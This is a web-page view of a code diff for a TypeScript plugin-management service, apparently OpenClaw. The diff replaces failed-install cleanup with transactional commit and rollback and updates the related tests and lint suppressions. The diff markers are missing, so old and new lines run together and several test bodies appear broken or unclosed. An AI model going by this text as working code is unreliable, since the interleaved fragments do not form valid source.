const actualUninstall = await vi.importActual<typeof import("./uninstall.js")>("./uninstall.js");
|
||||
const snapshot = { config: {}, baseHash: "base-hash", writeOptions: {} };
|
||||
const requests = [
|
||||
{ source: "local", path: "/incoming", recordSource: "path", mode: "update" },
|
||||
{ source: "npm", spec: "demo@2.0.0", mode: "update" },
|
||||
{ source: "npm-pack", archivePath: "/incoming.tgz", mode: "update" },
|
||||
{ source: "git", spec: "git:example/demo", mode: "update" },
|
||||
{ source: "clawhub", spec: "clawhub:community/demo", mode: "update" },
|
||||
] satisfies ManagedPluginSourceInstallRequest[];
|
||||
|
||||
function installPersistSnapshot() {
|
||||
return {
|
||||
config: {},
|
||||
baseHash: "base-hash",
|
||||
writeOptions: {
|
||||
expectedConfigPath: "/tmp/openclaw.json",
|
||||
includeFileHashesForWrite: { "/tmp/plugins.json": "include-hash" },
|
||||
includeFileTargetsForWrite: { "/tmp/plugins.json": "/tmp/plugins.json" },
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function mockClawHubInstall(pluginId: string, packageName: string, targetDir: string) {
|
||||
mocks.clawhubInstall.mockResolvedValue({
|
||||
ok: true,
|
||||
pluginId,
|
||||
targetDir,
|
||||
extensions: ["index.js"],
|
||||
packageName,
|
||||
clawhub: {
|
||||
source: "clawhub",
|
||||
clawhubUrl: "https://clawhub.ai",
|
||||
clawhubPackage: packageName,
|
||||
clawhubFamily: "code-plugin",
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
describe("managed plugin install compensation", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mocks.installRecords.mockResolvedValue({});
|
||||
mocks.applyUninstall.mockResolvedValue({ directoryRemoved: true, warnings: [] });
|
||||
});
|
||||
|
||||
it("defaults direct managed source installs to persistence-failure cleanup", async () => {
|
||||
const env = { HOME: "/tmp/openclaw-managed-source-conflict-home" };
|
||||
const conflict = new Error("config changed during plugin install");
|
||||
const targetDir = "/tmp/openclaw-managed-source-conflict-home/extensions/demo";
|
||||
mockClawHubInstall("demo", "community/demo", targetDir);
|
||||
mocks.persistInstall.mockRejectedValue(conflict);
|
||||
mocks.planUninstall.mockReturnValue({
|
||||
ok: true,
|
||||
config: {},
|
||||
pluginId: "demo",
|
||||
actions: {},
|
||||
directoryRemoval: { target: targetDir },
|
||||
});
|
||||
|
||||
await expect(
|
||||
installManagedPluginSource({
|
||||
request: { source: "clawhub", spec: "clawhub:community/demo" },
|
||||
snapshot: installPersistSnapshot(),
|
||||
env,
|
||||
}),
|
||||
).rejects.toBe(conflict);
|
||||
|
||||
expect(mocks.installRecords).toHaveBeenCalledWith({ env });
|
||||
expect(mocks.applyUninstall).toHaveBeenCalledWith({ target: targetDir });
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ name: "ordinary", generationKey: undefined },
|
||||
{ name: "generation", generationKey: "demo-v2" },
|
||||
])(
|
||||
"removes a planner-validated $name npm project after persistence conflicts",
|
||||
async (fixture) => {
|
||||
const home = compensationTempDirs.make("openclaw-managed-npm-conflict-");
|
||||
const env = { HOME: home };
|
||||
const packageName = "@openclaw/demo";
|
||||
const npmDir = resolveDefaultPluginNpmDir(env);
|
||||
const npmRoot = fixture.generationKey
|
||||
? resolvePluginNpmGenerationProjectDir({
|
||||
npmDir,
|
||||
packageName,
|
||||
generationKey: fixture.generationKey,
|
||||
})
|
||||
: resolvePluginNpmProjectDir({ npmDir, packageName });
|
||||
const targetDir = path.join(npmRoot, "node_modules", "@openclaw", "demo");
|
||||
const packArchive = path.join(npmRoot, "_openclaw-pack-archives", "demo.tgz");
|
||||
const conflict = new Error("config changed during npm plugin install");
|
||||
describe("managed plugin install transactions", () => {
|
||||
beforeEach(() => vi.resetAllMocks());
|
||||
|
||||
it.each(requests)("settles $source payloads at the config commit boundary", async (request) => {
|
||||
for (const failure of ["before-commit", "after-commit", "none"] as const) {
|
||||
const home = await fs.realpath(tempDirs.make("openclaw-managed-upgrade-"));
|
||||
const sourceDir = path.join(home, "incoming");
|
||||
const targetDir = path.join(home, "extensions", "demo");
|
||||
await fs.mkdir(sourceDir, { recursive: true });
|
||||
await fs.mkdir(targetDir, { recursive: true });
|
||||
await fs.mkdir(path.dirname(packArchive), { recursive: true });
|
||||
await fs.writeFile(packArchive, "packed plugin");
|
||||
mocks.npmInstall.mockResolvedValue({
|
||||
ok: true,
|
||||
pluginId: "demo",
|
||||
targetDir,
|
||||
extensions: ["index.js"],
|
||||
manifestName: packageName,
|
||||
await fs.writeFile(path.join(sourceDir, "version"), "2.0.0");
|
||||
await fs.writeFile(path.join(targetDir, "version"), "1.0.0");
|
||||
const conflict = new Error(failure);
|
||||
mocks.persist.mockImplementation(async (params: { onCommitted?: () => void }) => {
|
||||
if (failure === "before-commit") {
|
||||
throw conflict;
|
||||
}
|
||||
params.onCommitted?.();
|
||||
if (failure === "after-commit") {
|
||||
throw conflict;
|
||||
}
|
||||
return {};
|
||||
});
|
||||
mocks.persistInstall.mockRejectedValue(conflict);
|
||||
mocks.planUninstall.mockImplementation((params) =>
|
||||
actualUninstall.planPluginUninstall(
|
||||
params as Parameters<typeof actualUninstall.planPluginUninstall>[0],
|
||||
),
|
||||
mocks.install.mockImplementation(async (params: object) => {
|
||||
const copy = {
|
||||
sourceDir,
|
||||
targetDir,
|
||||
mode: "update" as const,
|
||||
timeoutMs: 1000,
|
||||
copyErrorPrefix: "copy failed",
|
||||
hasDeps: false,
|
||||
depsLogMessage: "",
|
||||
};
|
||||
const copied = await installPackageDir(
|
||||
isPluginInstallCommitDeferred(params) ? requestDeferredPackageDirInstall(copy) : copy,
|
||||
);
|
||||
if (!copied.ok) {
|
||||
throw new Error(copied.error);
|
||||
}
|
||||
const result = {
|
||||
ok: true,
|
||||
pluginId: "demo",
|
||||
targetDir,
|
||||
version: "2.0.0",
|
||||
extensions: [],
|
||||
git: { url: "https://example.test/demo.git" },
|
||||
packageName: "community/demo",
|
||||
clawhub: {
|
||||
source: "clawhub",
|
||||
clawhubUrl: "https://clawhub.ai",
|
||||
clawhubPackage: "community/demo",
|
||||
clawhubFamily: "code-plugin",
|
||||
},
|
||||
};
|
||||
const transaction = resolvePackageDirInstallTransaction(copied);
|
||||
return transaction ? attachPluginInstallTransaction(result, transaction) : result;
|
||||
});
|
||||
const installed = installManagedPluginSource({ request, snapshot, env: { HOME: home } });
|
||||
if (failure === "none") {
|
||||
await expect(installed).resolves.toMatchObject({ ok: true });
|
||||
} else {
|
||||
await expect(installed).rejects.toBe(conflict);
|
||||
}
|
||||
expect(await fs.readFile(path.join(targetDir, "version"), "utf8"), failure).toBe(
|
||||
failure === "before-commit" ? "1.0.0" : "2.0.0",
|
||||
);
|
||||
mocks.applyUninstall.mockImplementation(async (removal: { target: string }) => {
|
||||
await fs.rm(removal.target, { recursive: true, force: true });
|
||||
return { directoryRemoved: true, warnings: [] };
|
||||
});
|
||||
expect(await fs.readdir(path.join(home, "extensions", ".openclaw-install-backups"))).toEqual(
|
||||
[],
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
await expect(
|
||||
installManagedPluginSource({
|
||||
request: { source: "npm", spec: packageName, mode: "install" },
|
||||
snapshot: installPersistSnapshot(),
|
||||
env,
|
||||
}),
|
||||
).rejects.toBe(conflict);
|
||||
|
||||
expect(mocks.applyUninstall).toHaveBeenCalledWith({
|
||||
target: npmRoot,
|
||||
cleanup: { kind: "npm", npmRoot, packageName, rootKind: "isolated-project" },
|
||||
});
|
||||
await expect(fs.access(npmRoot)).rejects.toMatchObject({ code: "ENOENT" });
|
||||
},
|
||||
);
|
||||
|
||||
it("never deletes an operator-owned source when link persistence fails", async () => {
|
||||
const env = { HOME: "/tmp/openclaw-managed-link-conflict-home" };
|
||||
const sourcePath = "/tmp/operator-owned-plugin-source";
|
||||
it("leaves linked operator source untouched when persistence fails", async () => {
|
||||
const sourcePath = tempDirs.make("openclaw-managed-link-");
|
||||
await fs.writeFile(path.join(sourcePath, "version"), "operator-owned");
|
||||
const conflict = new Error("config changed during plugin link");
|
||||
mocks.pathInstall.mockResolvedValue({
|
||||
ok: true,
|
||||
pluginId: "demo",
|
||||
targetDir: sourcePath,
|
||||
version: "1.0.0",
|
||||
});
|
||||
mocks.persistInstall.mockRejectedValue(conflict);
|
||||
|
||||
mocks.install.mockResolvedValue({ ok: true, pluginId: "demo", targetDir: sourcePath });
|
||||
mocks.persist.mockRejectedValue(conflict);
|
||||
await expect(
|
||||
installManagedPluginSource({
|
||||
request: {
|
||||
@@ -189,17 +128,53 @@ describe("managed plugin install compensation", () => {
|
||||
mode: "install",
|
||||
link: true,
|
||||
},
|
||||
snapshot: installPersistSnapshot(),
|
||||
env,
|
||||
cleanupOnPersistenceFailure: true,
|
||||
snapshot,
|
||||
}),
|
||||
).rejects.toBe(conflict);
|
||||
|
||||
expect(mocks.pathInstall).toHaveBeenCalledWith(
|
||||
expect(mocks.install).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ path: sourcePath, dryRun: true }),
|
||||
);
|
||||
expect(mocks.installRecords).not.toHaveBeenCalled();
|
||||
expect(mocks.planUninstall).not.toHaveBeenCalled();
|
||||
expect(mocks.applyUninstall).not.toHaveBeenCalled();
|
||||
expect(await fs.readFile(path.join(sourcePath, "version"), "utf8")).toBe("operator-owned");
|
||||
});
|
||||
|
||||
it.each(["rollback", "commit"] as const)(
|
||||
"reports %s failure without reversing committed state",
|
||||
async (settlement) => {
|
||||
const conflict = new Error("config write rejected");
|
||||
const settlementError = new Error(`${settlement} failed`);
|
||||
const transaction = { commit: vi.fn(), rollback: vi.fn() };
|
||||
transaction[settlement].mockRejectedValue(settlementError);
|
||||
mocks.install.mockResolvedValue(
|
||||
attachPluginInstallTransaction(
|
||||
{ ok: true, pluginId: "demo", targetDir: "/managed/demo" },
|
||||
transaction,
|
||||
),
|
||||
);
|
||||
mocks.persist.mockImplementation(async (params: { onCommitted?: () => void }) => {
|
||||
if (settlement === "rollback") {
|
||||
throw conflict;
|
||||
}
|
||||
params.onCommitted?.();
|
||||
return {};
|
||||
});
|
||||
const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() };
|
||||
const installed = installManagedPluginSource({
|
||||
request: { source: "local", path: "/incoming", recordSource: "path", mode: "update" },
|
||||
snapshot,
|
||||
runtime,
|
||||
});
|
||||
if (settlement === "rollback") {
|
||||
await expect(installed).rejects.toMatchObject({
|
||||
cause: settlementError,
|
||||
errors: [conflict, settlementError],
|
||||
});
|
||||
expect(transaction.commit).not.toHaveBeenCalled();
|
||||
} else {
|
||||
const warning = "Plugin install committed, but backup cleanup failed. Restart is required.";
|
||||
await expect(installed).resolves.toMatchObject({ ok: true, warnings: [warning] });
|
||||
expect(runtime.log).toHaveBeenCalledWith(warning);
|
||||
expect(transaction.rollback).not.toHaveBeenCalled();
|
||||
}
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
@@ -773,109 +773,6 @@ describe("plugin management service", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("removes only the newly installed managed target after persistence conflicts", async () => {
|
||||
const env = { HOME: "/tmp/openclaw-managed-install-conflict-home" };
|
||||
const conflict = new Error("config changed during plugin install");
|
||||
const targetDir = "/tmp/extensions/demo";
|
||||
mocks.readConfig.mockResolvedValue(configSnapshot());
|
||||
mockClawHubInstall("demo", "community/demo", targetDir);
|
||||
mocks.persistInstall.mockRejectedValue(conflict);
|
||||
mocks.planUninstall.mockReturnValue({
|
||||
ok: true,
|
||||
config: {},
|
||||
pluginId: "demo",
|
||||
actions: {},
|
||||
directoryRemoval: { target: targetDir },
|
||||
});
|
||||
|
||||
await expect(
|
||||
installManagedPlugin({
|
||||
request: { source: "clawhub", packageName: "community/demo" },
|
||||
env,
|
||||
}),
|
||||
).rejects.toBe(conflict);
|
||||
expect(mocks.planUninstall.mock.calls[0]?.[0]).toMatchObject({
|
||||
config: {
|
||||
plugins: {
|
||||
installs: {
|
||||
demo: expect.objectContaining({
|
||||
source: "clawhub",
|
||||
spec: "clawhub:community/demo",
|
||||
installPath: targetDir,
|
||||
}),
|
||||
},
|
||||
},
|
||||
},
|
||||
pluginId: "demo",
|
||||
deleteFiles: true,
|
||||
});
|
||||
expect(mocks.applyUninstall).toHaveBeenCalledWith({ target: targetDir });
|
||||
});
|
||||
|
||||
it("retains a failed install target when the durable record already owns it", async () => {
|
||||
const env = { HOME: "/tmp/openclaw-managed-install-committed-home" };
|
||||
const persistenceError = new Error("post-commit refresh failed");
|
||||
const targetDir = "/tmp/openclaw-managed-install-committed-home/extensions/demo";
|
||||
mocks.readConfig.mockResolvedValue(configSnapshot());
|
||||
mockClawHubInstall("demo", "community/demo", targetDir);
|
||||
let committedInstallRecords: Record<string, { source: string; installPath: string }> = {};
|
||||
mocks.persistInstall.mockImplementation(async () => {
|
||||
committedInstallRecords = { demo: { source: "clawhub", installPath: targetDir } };
|
||||
throw persistenceError;
|
||||
});
|
||||
mocks.installRecords.mockImplementation(async (options?: { env?: NodeJS.ProcessEnv }) =>
|
||||
options?.env === env ? committedInstallRecords : {},
|
||||
);
|
||||
mocks.planUninstall.mockReturnValue({
|
||||
ok: true,
|
||||
config: {},
|
||||
pluginId: "demo",
|
||||
actions: {},
|
||||
directoryRemoval: { target: targetDir },
|
||||
});
|
||||
|
||||
await expect(
|
||||
installManagedPlugin({
|
||||
request: { source: "clawhub", packageName: "community/demo" },
|
||||
env,
|
||||
}),
|
||||
).rejects.toMatchObject({
|
||||
message: "post-commit refresh failed",
|
||||
warning: expect.stringContaining("retained the managed target"),
|
||||
cause: persistenceError,
|
||||
});
|
||||
expect(mocks.installRecords).toHaveBeenCalledWith({ env });
|
||||
expect(committedInstallRecords.demo?.installPath).toBe(targetDir);
|
||||
expect(mocks.planUninstall).not.toHaveBeenCalled();
|
||||
expect(mocks.applyUninstall).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("retains a failed install target when its durable records cannot be verified", async () => {
|
||||
const env = { HOME: "/tmp/openclaw-managed-install-unavailable-home" };
|
||||
const persistenceError = new Error("post-commit refresh failed");
|
||||
const targetDir = "/tmp/openclaw-managed-install-unavailable-home/extensions/demo";
|
||||
mocks.readConfig.mockResolvedValue(configSnapshot());
|
||||
mockClawHubInstall("demo", "community/demo", targetDir);
|
||||
mocks.persistInstall.mockRejectedValue(persistenceError);
|
||||
mocks.installRecords.mockRejectedValue(new Error("durable index unavailable"));
|
||||
|
||||
await expect(
|
||||
installManagedPlugin({
|
||||
request: { source: "clawhub", packageName: "community/demo" },
|
||||
env,
|
||||
}),
|
||||
).rejects.toMatchObject({
|
||||
message: "post-commit refresh failed",
|
||||
warning: expect.stringContaining(
|
||||
"Could not verify whether the failed plugin install was committed",
|
||||
),
|
||||
cause: persistenceError,
|
||||
});
|
||||
expect(mocks.installRecords).toHaveBeenCalledWith({ env });
|
||||
expect(mocks.planUninstall).not.toHaveBeenCalled();
|
||||
expect(mocks.applyUninstall).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("serializes install and enable mutations through one Gateway lock", async () => {
|
||||
let releasePersist: ((config: Record<string, unknown>) => void) | undefined;
|
||||
const heldPersist = new Promise<Record<string, unknown>>((resolve) => {
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
// Structured plugin catalog and lifecycle operations shared by Gateway-facing surfaces.
|
||||
import path from "node:path";
|
||||
import { asSafeIntegerInRange } from "@openclaw/normalization-core/number-coercion";
|
||||
import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce";
|
||||
import { uniqueStrings } from "@openclaw/normalization-core/string-normalization";
|
||||
@@ -49,6 +48,11 @@ import {
|
||||
import { commitPluginInstallRecordsWithConfig } from "./install-record-commit.js";
|
||||
import type { InstallSafetyOverrides } from "./install-security-scan.js";
|
||||
import type { InstallPolicyWarningDetails } from "./install-security-scan.types.js";
|
||||
import {
|
||||
requestDeferredPluginInstall,
|
||||
resolvePluginInstallTransaction,
|
||||
type PluginInstallTransaction,
|
||||
} from "./install-transaction.js";
|
||||
import {
|
||||
isUnavailableNpmTarget,
|
||||
PLUGIN_INSTALL_ERROR_CODE,
|
||||
@@ -102,7 +106,6 @@ import {
|
||||
} from "./status-dependencies-core.js";
|
||||
import { setPluginEnabledInConfig } from "./toggle-config.js";
|
||||
import { collectClawPluginUninstallWarnings } from "./uninstall-claw-references.js";
|
||||
import { isUninstallPathInsideOrEqual } from "./uninstall-config.js";
|
||||
import {
|
||||
prepareConfigForPendingPluginDirectoryRemovalSet,
|
||||
recordPluginPackageUninstallPlan,
|
||||
@@ -1105,131 +1108,54 @@ function throwInstallFailure(result: {
|
||||
});
|
||||
}
|
||||
|
||||
function installRecordOwnsTarget(
|
||||
record: PluginInstallRecord | undefined,
|
||||
targetDir: string,
|
||||
): boolean {
|
||||
return Boolean(
|
||||
record?.installPath && path.resolve(record.installPath) === path.resolve(targetDir),
|
||||
);
|
||||
}
|
||||
|
||||
async function cleanupFailedManagedPluginInstall(params: {
|
||||
env: NodeJS.ProcessEnv;
|
||||
pluginId: string;
|
||||
install: PluginInstallRecord;
|
||||
targetDir: string;
|
||||
extensionsDir: string;
|
||||
}): Promise<string[]> {
|
||||
let installRecords: Record<string, PluginInstallRecord>;
|
||||
try {
|
||||
installRecords = await loadInstalledPluginIndexInstallRecords({ env: params.env });
|
||||
} catch (error) {
|
||||
return [
|
||||
`Could not verify whether the failed plugin install was committed; retained ${params.targetDir}: ${formatErrorMessage(error)}`,
|
||||
];
|
||||
}
|
||||
if (installRecordOwnsTarget(installRecords[params.pluginId], params.targetDir)) {
|
||||
return [
|
||||
`Plugin install persistence reported an error after ${params.targetDir} was recorded; retained the managed target.`,
|
||||
];
|
||||
}
|
||||
|
||||
const plan = planPluginUninstall(
|
||||
recordPluginPackageUninstallPlan(
|
||||
{
|
||||
config: {
|
||||
plugins: { installs: { [params.pluginId]: params.install } },
|
||||
},
|
||||
pluginId: params.pluginId,
|
||||
deleteFiles: true,
|
||||
extensionsDir: params.extensionsDir,
|
||||
},
|
||||
{ runtimePluginIds: [] },
|
||||
),
|
||||
);
|
||||
if (!plan.ok) {
|
||||
return [`Could not plan cleanup for failed plugin install: ${plan.error}`];
|
||||
}
|
||||
if (!plan.directoryRemoval) {
|
||||
return [
|
||||
`Could not resolve a managed cleanup target for failed plugin install ${params.pluginId}.`,
|
||||
];
|
||||
}
|
||||
const plannedTarget = path.resolve(plan.directoryRemoval.target);
|
||||
const installedTarget = path.resolve(params.targetDir);
|
||||
const removesIsolatedNpmProject =
|
||||
plan.directoryRemoval.cleanup?.kind === "npm" &&
|
||||
plannedTarget === path.resolve(plan.directoryRemoval.cleanup.npmRoot) &&
|
||||
isUninstallPathInsideOrEqual(plannedTarget, installedTarget);
|
||||
if (plannedTarget !== installedTarget && !removesIsolatedNpmProject) {
|
||||
return [
|
||||
`Refused cleanup for failed plugin install ${params.pluginId}: planned target does not match the newly installed target.`,
|
||||
];
|
||||
}
|
||||
try {
|
||||
const cleanup = await applyPluginUninstallDirectoryRemoval(plan.directoryRemoval);
|
||||
return cleanup.warnings;
|
||||
} catch (error) {
|
||||
return [
|
||||
`Failed to remove the newly installed target after plugin persistence failed: ${formatErrorMessage(error)}`,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
function throwPersistenceFailureWithCleanupWarnings(error: unknown, warnings: string[]): never {
|
||||
if (warnings.length === 0) {
|
||||
throw error;
|
||||
}
|
||||
const cleanupWarning = [...new Set(warnings)].join("\n");
|
||||
if (error instanceof ManagedPluginLifecycleError) {
|
||||
throw new ManagedPluginLifecycleError(error.message, {
|
||||
kind: error.kind,
|
||||
code: error.code,
|
||||
version: error.version,
|
||||
warning: [error.warning, cleanupWarning].filter(Boolean).join("\n"),
|
||||
installPolicyWarning: error.installPolicyWarning,
|
||||
cause: error,
|
||||
});
|
||||
}
|
||||
throw new ManagedPluginLifecycleError(formatErrorMessage(error), {
|
||||
kind: "unavailable",
|
||||
warning: cleanupWarning,
|
||||
cause: error,
|
||||
});
|
||||
}
|
||||
|
||||
async function persistManagedSourceInstall(params: {
|
||||
env: NodeJS.ProcessEnv;
|
||||
snapshot: ConfigSnapshotForInstallPersist;
|
||||
pluginId: string;
|
||||
install: PluginInstallRecord;
|
||||
targetDir: string;
|
||||
extensionsDir: string;
|
||||
transaction?: PluginInstallTransaction;
|
||||
invalidateRuntimeCache?: boolean;
|
||||
runtime?: RuntimeEnv;
|
||||
successMessage?: string;
|
||||
cleanupOnPersistenceFailure?: boolean;
|
||||
}): Promise<{ config: OpenClawConfig; warnings: string[] }> {
|
||||
const warnings: string[] = [];
|
||||
const persist = () =>
|
||||
persistPluginInstall({
|
||||
let committed = false;
|
||||
try {
|
||||
const config = await persistPluginInstall({
|
||||
snapshot: params.snapshot,
|
||||
pluginId: params.pluginId,
|
||||
install: params.install,
|
||||
invalidateRuntimeCache: params.invalidateRuntimeCache,
|
||||
runtime: params.runtime,
|
||||
persistenceLogger: { warn: (message) => warnings.push(message) },
|
||||
// Only the persistence owner can distinguish rejection from a late refresh failure.
|
||||
onCommitted: () => {
|
||||
committed = true;
|
||||
},
|
||||
...(params.successMessage ? { successMessage: params.successMessage } : {}),
|
||||
});
|
||||
if (!params.cleanupOnPersistenceFailure) {
|
||||
return { config: await persist(), warnings };
|
||||
}
|
||||
try {
|
||||
return { config: await persist(), warnings };
|
||||
return { config, warnings };
|
||||
} catch (error) {
|
||||
const cleanupWarnings = await cleanupFailedManagedPluginInstall(params);
|
||||
return throwPersistenceFailureWithCleanupWarnings(error, cleanupWarnings);
|
||||
if (!committed) {
|
||||
try {
|
||||
await params.transaction?.rollback();
|
||||
} catch (rollbackError) {
|
||||
// oxlint-disable-next-line preserve-caught-error -- Oxlint 1.78 ignores AggregateError's third-argument cause.
|
||||
throw new AggregateError(
|
||||
[error, rollbackError],
|
||||
"Plugin install failed and payload rollback failed",
|
||||
{ cause: rollbackError },
|
||||
);
|
||||
}
|
||||
}
|
||||
throw error;
|
||||
} finally {
|
||||
if (committed) {
|
||||
await params.transaction?.commit().catch(() => {
|
||||
const warning = "Plugin install committed, but backup cleanup failed. Restart is required.";
|
||||
warnings.push(warning);
|
||||
params.runtime?.log(warning);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1293,7 +1219,6 @@ type ManagedPluginSourceInstallParams = {
|
||||
safetyOverrides?: InstallSafetyOverrides;
|
||||
runtime?: RuntimeEnv;
|
||||
invalidateRuntimeCache?: boolean;
|
||||
cleanupOnPersistenceFailure?: boolean;
|
||||
};
|
||||
|
||||
/**
|
||||
@@ -1362,18 +1287,17 @@ async function installResolvedManagedPluginSource(
|
||||
};
|
||||
}
|
||||
|
||||
const common = {
|
||||
const common = requestDeferredPluginInstall({
|
||||
...params.safetyOverrides,
|
||||
config: params.snapshot.config,
|
||||
extensionsDir,
|
||||
logger: params.logger,
|
||||
};
|
||||
});
|
||||
const complete = async <T extends SourceInstallerResult>(
|
||||
installResult: Promise<T>,
|
||||
completed: {
|
||||
install: (result: Extract<T, { ok: true }>) => PluginInstallRecord;
|
||||
expectedPluginId?: string;
|
||||
targetDir?: string;
|
||||
snapshot?: ConfigSnapshotForInstallPersist;
|
||||
successMessage?: string;
|
||||
},
|
||||
@@ -1386,28 +1310,20 @@ async function installResolvedManagedPluginSource(
|
||||
pluginId: string;
|
||||
targetDir: string;
|
||||
};
|
||||
const transaction = resolvePluginInstallTransaction(installed);
|
||||
if (completed.expectedPluginId && installed.pluginId !== completed.expectedPluginId) {
|
||||
await transaction?.rollback();
|
||||
return {
|
||||
ok: false as const,
|
||||
error: `official catalog plugin id mismatch: expected ${completed.expectedPluginId}, got ${installed.pluginId}`,
|
||||
};
|
||||
}
|
||||
const targetDir = completed.targetDir ?? installed.targetDir;
|
||||
// Links point at operator-owned source directories. Every published managed
|
||||
// payload defaults to compensation, but link persistence never deletes source.
|
||||
const cleanupOnPersistenceFailure =
|
||||
request.source === "local" && request.link
|
||||
? false
|
||||
: (params.cleanupOnPersistenceFailure ?? true);
|
||||
const persisted = await persistManagedSourceInstall({
|
||||
...params,
|
||||
cleanupOnPersistenceFailure,
|
||||
env,
|
||||
snapshot: completed.snapshot ?? params.snapshot,
|
||||
pluginId: installed.pluginId,
|
||||
install: completed.install(installed),
|
||||
targetDir,
|
||||
extensionsDir,
|
||||
transaction,
|
||||
successMessage: completed.successMessage,
|
||||
});
|
||||
return {
|
||||
@@ -1446,7 +1362,6 @@ async function installResolvedManagedPluginSource(
|
||||
}),
|
||||
{
|
||||
snapshot: linkedSnapshot,
|
||||
targetDir: installPath,
|
||||
successMessage: request.successMessage,
|
||||
install: (result) => ({
|
||||
source: request.recordSource,
|
||||
@@ -1664,7 +1579,6 @@ export async function installManagedPlugin(params: {
|
||||
},
|
||||
}
|
||||
: {}),
|
||||
cleanupOnPersistenceFailure: true,
|
||||
invalidateRuntimeCache: false,
|
||||
runtime: createSilentRuntime(),
|
||||
});
|
||||
|
||||
@@ -228,6 +228,7 @@ describe("production lint suppressions", () => {
|
||||
"src/plugins/hooks.ts|typescript/no-unnecessary-type-parameters|1",
|
||||
"src/plugins/host-hooks.ts|typescript/no-unnecessary-type-parameters|1",
|
||||
"src/plugins/lazy-service-module.ts|typescript/no-unnecessary-type-parameters|1",
|
||||
"src/plugins/management-service.ts|preserve-caught-error|1",
|
||||
"src/plugins/public-surface-loader.ts|typescript/no-unnecessary-type-parameters|3",
|
||||
"src/plugins/runtime/runtime-plugin-boundary.ts|typescript/no-unnecessary-type-parameters|1",
|
||||
"src/plugins/runtime/types-channel.ts|typescript/no-unnecessary-type-parameters|1",
|
||||
|
||||
Reference in New Issue
Block a user